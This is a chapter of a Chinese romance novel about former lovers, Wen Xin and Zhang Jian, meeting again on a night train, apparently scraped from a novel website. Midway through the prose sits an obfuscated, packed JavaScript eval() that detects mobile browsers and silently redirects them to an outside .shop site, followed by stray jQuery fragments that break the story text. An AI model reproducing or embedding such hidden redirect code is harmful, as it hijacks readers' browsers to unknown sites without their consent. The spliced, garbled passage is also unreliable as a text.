五
2018年的温欣淡然地看着对面的张俭，他成熟稳重，自信坚定，与少年时相比，魅力有增无减。
温欣心里止不住困惑，一个有女朋友的男人，背着现任对前任女友献殷勤，到底算什么。
刚分手那会，她多少次忍不住想复合，可分手是她自己提的，她实在迈不出那一步。她以为张俭会挽留会争取她，可是他没有。
后来温欣想明白，暗自为张俭的消极态度找理由，他俩之间的问题不会因为复合而消失，没人肯让步，问题就会一直存在。
只是想明白了也没用，她放不下，不思进退，甘愿困在这段感情里，做自己的囚徒。
好不容易地，她下定决心要彻底放下张俭，他却在这个时候出现在她面前，温欣为此有一点恨他。分手后张俭从她的世界里彻底消失，她都没恨过他，可此刻她恨他。
“谢谢！”温欣不想领他的情，把泡面推回去，客客气气地回绝，“我戒宵夜很久了。”话刚说完，肚子不争气咕咕两声叫。
张俭察觉到了，禁不住挑唇轻笑一下，眼睛没错过温欣脸上一闪而过的尴尬。
温欣没好气地瞪他一眼，不愿意在这受他嘲笑，拿着保温杯霍地站起来，一只脚不小心踩在张俭伸过界的脚板上。踩得应该不是很痛，他没有丝毫反应，好像那只脚不是他的。
温欣低头看他的脚，他穿的也是拖鞋，连袜子都没穿，脚趾被她踩出一道脏印子。一向礼貌文明的温欣，这次踩了人家的脚，却连个道歉都欠奉。
这是什么鬼缘分，火车上见面四次，踩人家两次脚。
张俭气定神闲地看着她，也不收回他那只被踩的脚，仿佛在把证据亮给她看，等着她说一声抱歉，可温欣却眼神也没再给他一个，一抬脚就要走。
张俭蓦地拽住她手腕，仰望着他，反而向她赔罪:“欣欣，是我错了，你别生气。”他认的错当然不只是他那一声笑，是因自己没为这段关系最后的结局做过努力。
温欣似乎也听懂了，心脏沉了一沉。
她垂下眼，去瞧他那只圈在她手腕上的手，不知是不是因为握得太用力，他手背上青筋微微突起，温欣挣了挣想甩掉他的手，他没放，但他把力度松了些。
“你有女朋友，我也有男朋友，”温欣冷情地盯着他，“你这样动手动脚的合适吗？”
她把张俭拒绝金发美女的说辞当了真，张俭却不把她这话当警告，嬉皮笑脸地看她，“我承认我动手了，但先动脚的是你啊，还动了两次。”
“……你以前没这么无耻啊。”温欣手僵着，心里异常烦燥，咬着牙，脸色变得难看。
无耻的张俭羞耻地笑了笑，松了手，摆个请的手势让她自便，他过界的那只脚也默默地收回。
张俭目不转睛地望温欣离去的背影，轻轻往椅背一靠，长长地叹口气。几年没见，温欣同学明显倔强了不少，不再像以前那么温顺好哄。
张俭盯着车窗外的黑夜，眉弓下的眼睛比这夜还要黑，深不见底的两潭深水，稳定而静谧，充满娓娓道来的故事感。
张俭也没心情吃那碗面，任它由热放到凉，他想把它拿去扔掉，伸手过去却又迟疑，最后任由它在桌上摆着，起身走了。
高级车厢过道尽头，一个身影疲惫地缩在角落，她蹲着，双臂抱膝，脸埋入臂弯里，一动不动，仿佛已入眠。
张俭走近，立在她身旁，看了看15号紧闭的房门，他什么也没问，弯身拍拍她的肩膀，不容拒绝地邀请她:“到我房间来。”
温欣迷迷糊糊抬起头，怔松地看张俭半晌，几缕发丝贴着脸颊，脸颊绯红，但嘴唇血色浅白，说实话有点狼狈，但她那无助的模样看起来实在很惹人怜。
“我房门锁可能坏了，卡住开不了，”她咬咬唇，接着补充道，“钟静宜睡死了，我叫不动她。”张俭不问因由，她反而迫切地想解释。
在门口叫天天不应的时候，有一瞬温欣想过要去找乘务员，可夜已深，她实在懒得大动干戈去找人，也或许是因为心里暗暗存着另一种心思，知道张俭不会对她不闻不问，所以她才心安理得地窝在这里不声不响。
张俭没应声，面色平静，单手搀入她胳膊，想把人提起来，温欣稍起身时却啊一地怕地低吟。
张俭一顿，惊诧地看她，“怎么了？”
“疼。”
“哪儿疼？”
“腿麻，”温欣不好意思看他，尴尬地垂着眼睑，皱着眉心说，“腰也有点痛。”
张俭无奈叹气，没好气地说:“自己腰不好，不知道么？还敢在这儿蹲那么久。”他说这话时的感觉，仿佛他俩从来未断过，仍是一对互相嫌弃，但不离不弃的情侣似的。
温欣有点委屈，情绪也被带进去，怪他:“腰不好，还不是因为你！”
此话一出，两人都愣住。
一上一下僵持着，四目相对半晌，温欣讪讪地低下眉眼，不吭声。
腰受伤这事儿，说起来张俭其实挺无辜。
大一那年开学不久，有一天张俭突然过来学校找她，到了打电话告诉她，他在学校门口等。温欣不想让他等太久，也急着见他，走得太急，下楼时不小心滑了一跤。
腰骨重重磕到楼梯边角上，当时痛得要命，她却没重视，还是跑出去见张俭，陪他去吃饭去泡图书馆，始终没提自己摔了一跤的糗事。
后来可能是落下了病根，她偶尔觉得腰痛，腰也比较容易累，是等到他俩正式成为男女朋友以后，她才跟张俭说起缘由。
她一直这么蹲着，张俭觉得不是个事。他思忖半晌，挪动脚步，在她面前蹲下，给了她一个背脊，偏过头来说:“上来，我背你。”
张俭不是太精壮的体型，但他个子高，肩背很宽，线条流畅紧实，看上去就很可靠。张俭身上穿的还是那件灰色毛衣，细软的毛线织成的，修身款式。他蹲下来后，毛衣缩了上去，露出后裤腰在温欣眼前。
温欣犹豫了一瞬，没有拒绝，双手搭上张俭的肩，借着力道把自己撑起来，整个人趴到他背上。
隔着几层衣料，体温无法相融，但身体感受得到对方的形态，温欣下巴枕着张俭的肩，嗅到独属于张俭的气息，清冽，像山间泉水，能沁人心脾。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572898|142983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>抬眼看见他耳根通红，温欣心里莫名一乐。她偷偷看他刺挠的鬓边短发，还有他耳垂那一颗小小的痣。在北京的许多个深夜里，她曾迷恋地吻过张俭，也吻过这一颗耳垂上的痣。
张俭双手用力一托，她一失重，整个人被腾空背起，双腿的麻醉感苏醒，像有千只蚂蚁在腿上爬。
血液在回流，温欣渐渐感到舒坦。
她双臂圈着张俭的脖子，张俭偏头，往后瞥一眼，心想她变轻了。他背着温欣去开门，进房打算把她放床上，让她躺着休息，温欣却觉得睡他的床不合适，急忙指向窗边的套椅:“我想坐那边。”
张俭把她放到窗边的座椅上，转身出去把温欣搁地上的保温杯拿进来，他把杯子轻轻放置于桌面，在温欣对面落座，又起身去把门关上，再回来坐下，与她再次沉默的四目相对。
温欣动动两条条正在恢复知觉的腿，难堪地收了目光，拧开杯盖喝水。
“腿还麻吗？”张俭问。
“好多了。”温欣把杯盖旋回去。
“腰呢？”张俭垂下目光去看她的腰，“还痛吗？”
温欣双手扶腰，挺直了背抻了会腰，酸痛感还是有，不过好像已经不怎么碍事，估摸着只是蹲得久，腰部太受累触发旧患才觉得痛，她于是摇摇头，又是一句好多了。
张俭无话可说地点点头。
从前无话不说的恋人，竟也会沦落到无话可说并觉得尴尬的地步。两人大眼瞪小眼地干坐一会，张俭拎来一袋吃的放桌上，让温欣想吃什么自己挑。温欣真的觉得饿，这次没跟他拿乔，挑了包饼干吃。
张俭想起什么，去行李箱翻了翻，拿一盒牛奶递过来，温欣默默接了，他又想起什么，问:“喝凉的胃受得了吗？牛奶要不要温一温？”大概是怕打扰其他人，他说得特别小声，轻柔的沙哑，听起来像温柔的情话。
她身上的毛病和习惯，他全记得。
温欣一时无言，哀怨地看他一眼，认命地把牛奶放桌上，轻轻声说:“那就温一温吧。”
张俭去餐车借了个碗，接一碗开水，回来把盒装牛奶沉进去泡着。温欣看他做得驾轻就熟，忽然好笑，带着心思问:“你经常给你女朋友做这些吧？”
张俭一愣，把牛奶盒翻个面压进水里，漫不经心地嗯一声，“是挺经常做的，”他自嘲地笑一下，敛着眼睑说，“不过，这几年没机会做了。”
他明明知道她问的是谁。
温欣揉着自己的腰，沉默地撇开目光。
夜色黑沉，月光若有似无，车窗外像一个巨大的深渊，对着车窗一扑扑，像要试图把人拽进去。温欣心里有个无底洞，那是个只有张俭能填的深渊，她害怕自己的决心被摧毁，不再看张俭一眼，保持着沉默不再发一言。
牛奶热好了，张俭拿纸巾擦干，拆了吸管插好，为防止牛奶溢出，他把向下弯的那节吸管往上顺直了才递过来。
他在所有细节上体贴入微，并不单纯地想献殷勤，而是他曾经习以为常地为温欣做这些小事，这些下意识的举动，都是他身体里抹不掉的记忆。
到底，是谁辜负了谁？